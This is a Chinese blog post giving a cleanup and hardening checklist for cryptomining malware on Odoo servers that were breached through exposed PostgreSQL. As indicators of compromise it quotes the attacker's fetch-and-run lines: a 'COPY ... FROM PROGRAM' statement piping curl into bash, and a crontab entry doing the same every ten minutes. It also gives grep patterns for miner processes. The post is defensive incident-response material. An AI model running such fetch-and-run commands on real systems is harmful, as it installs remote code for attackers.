如果你的 Odoo 服务器风扇突然狂转、top 里出现 .odoo_pg_health 之类可疑进程,别急着加 CPU。2024 年中以来,针对暴露 PostgreSQL 端口的 Odoo/VPS 主机出现了一股挖矿木马活动,进程名伪装成 Odoo 或 PostgreSQL 组件,靠 COPY ... FROM PROGRAM 拿到 shell 权限。本文按真实排障流程给一份清理与加固清单。
典型症状:业务没涨,CPU 先满了
挖矿木马不会直接破坏数据,但它会把机器榨干,导致 Odoo 页面卡顿、长轮询超时。常见信号:
top/htop显示整体负载长期高于 CPU 核数,业务 QPS 却没明显变化。- 出现以
.开头的隐藏进程,例如.odoo_pg_health、.odoo_worker_monitor、.bg_payload。 - PostgreSQL 日志里能看到
COPY public.xxx FROM PROGRAM 'curl ... | bash'这类语句。 - 外联流量异常,
ss -tnp中出现矿池常见端口 3333、4444、5555、7777。 /var/log/syslog或dmesg里进程被 OOM killer 反复干掉又重新启动。
排查四步:先隔离,再定位
1. 立即隔离外联。发现可疑连接后,先用 iptables 或云安全组临时封掉该 IP 与端口,避免木马继续下载 payload:
iptables -A OUTPUT -d 45.9.x.x -j DROP
# 或用 ufw
ufw deny out to 45.9.x.x
2. 查进程与启动路径。隐藏进程名的父进程可能是 postgres 或 systemd,找到真实二进制:
ps auxf | grep -E '\.odoo|\.bg_|xmr|minerd|pool'
ls -la /proc/<PID>/exe
ls -la /tmp/.* /var/tmp/.* /dev/shm/.*
3. 查持久化入口。只杀进程会复活,必须把定时任务、systemd timer、启动项全看一遍:
crontab -l
cat /etc/crontab
ls /etc/cron.d /etc/cron.hourly /etc/cron.daily
systemctl list-timers --all
find /etc/systemd -type f -newer /etc/hostname
4. 查 PostgreSQL 权限。很多入侵是因为 Odoo 数据库用户被赋予了 superuser,或 5432 端口直接暴露:
\du # 列出角色
SELECT * FROM pg_stat_activity WHERE query ILIKE '%COPY%FROM%PROGRAM%';
| 指标 | 正常 | 可疑 |
|---|---|---|
| CPU 空闲 | 通常 >50% | 持续 <10% |
| 隐藏进程 | 无 .xxx 进程 | .odoo_pg_health 等 |
| 外联端口 | 443/22/8069 | 3333/4444/7777 |
| PostgreSQL | 仅监听 localhost | 5432 暴露公网 |
踩坑实录:以为加 CPU 能好,结果是矿池在挖矿
有一台 4 核 Odoo 16 测试机,客户反馈页面加载慢。我先用 htop 看负载飙到 8,以为是 workers 不够,顺手把 odoo.conf 的 workers 从 4 改成 8。结果负载更高,风扇直接起飞。最后 ss -tnp 发现十几个连接到 45.9.x.x:3333,进程名是 .odoo_pg_health,PID 目录在 /tmp/.x/ 下。用 ls -la /proc/XXXX/exe 才定位到真实二进制 /tmp/.x/.bg_payload。杀了进程,十分钟后又复活——因为 postgres 用户的 crontab 里藏了一条 */10 * * * * curl ... | bash。只杀进程不清入口,等于白忙。
清理与加固:别信“清干净”,建议重建
挖矿木马拿到 root 或 postgres 权限后,完全可信的清理非常难。生产环境建议:
- 快照当前机器用于事后取证,但不要继续用它对外服务。
- 找一份确认在入侵时间之前的备份,重建干净 VPS;恢复数据库和 filestore 后,先改所有密码。
- PostgreSQL 只监听
127.0.0.1,pg_hba.conf拒绝除 Odoo 外的连接。 - Odoo 数据库用户不要给 superuser,删除可疑角色。
- UFW/安全组只开 22、80、443,8069/8072 只接受 Nginx 反向代理。
- SSH 改成密钥登录,关闭密码认证,fail2ban 拦截暴力破解。
常见问题
Q:能不能只清木马不重装系统?
A:理论上可以,但 rootkit 可能藏在内核模块或替换的系统命令里。生产环境建议重建,避免二次中毒。
Q:怎么判断备份是干净的?
A:看备份时间是否早于首次发现异常连接的时间;恢复后先执行 crontab -l、systemctl list-timers、ss -tnp,确认没有矿池连接。
Q:云安全组已经关了 5432,为什么还会中招?
A:部分 VPS 默认开启 UFW 放行全部,或安全组规则被后期修改。建议 ufw status numbered 和云控制台双重核对。
你在 Odoo 或 VPS 安全上踩过什么坑?欢迎在 fenij.com 评论区留言,一起把这份清单补得更完整。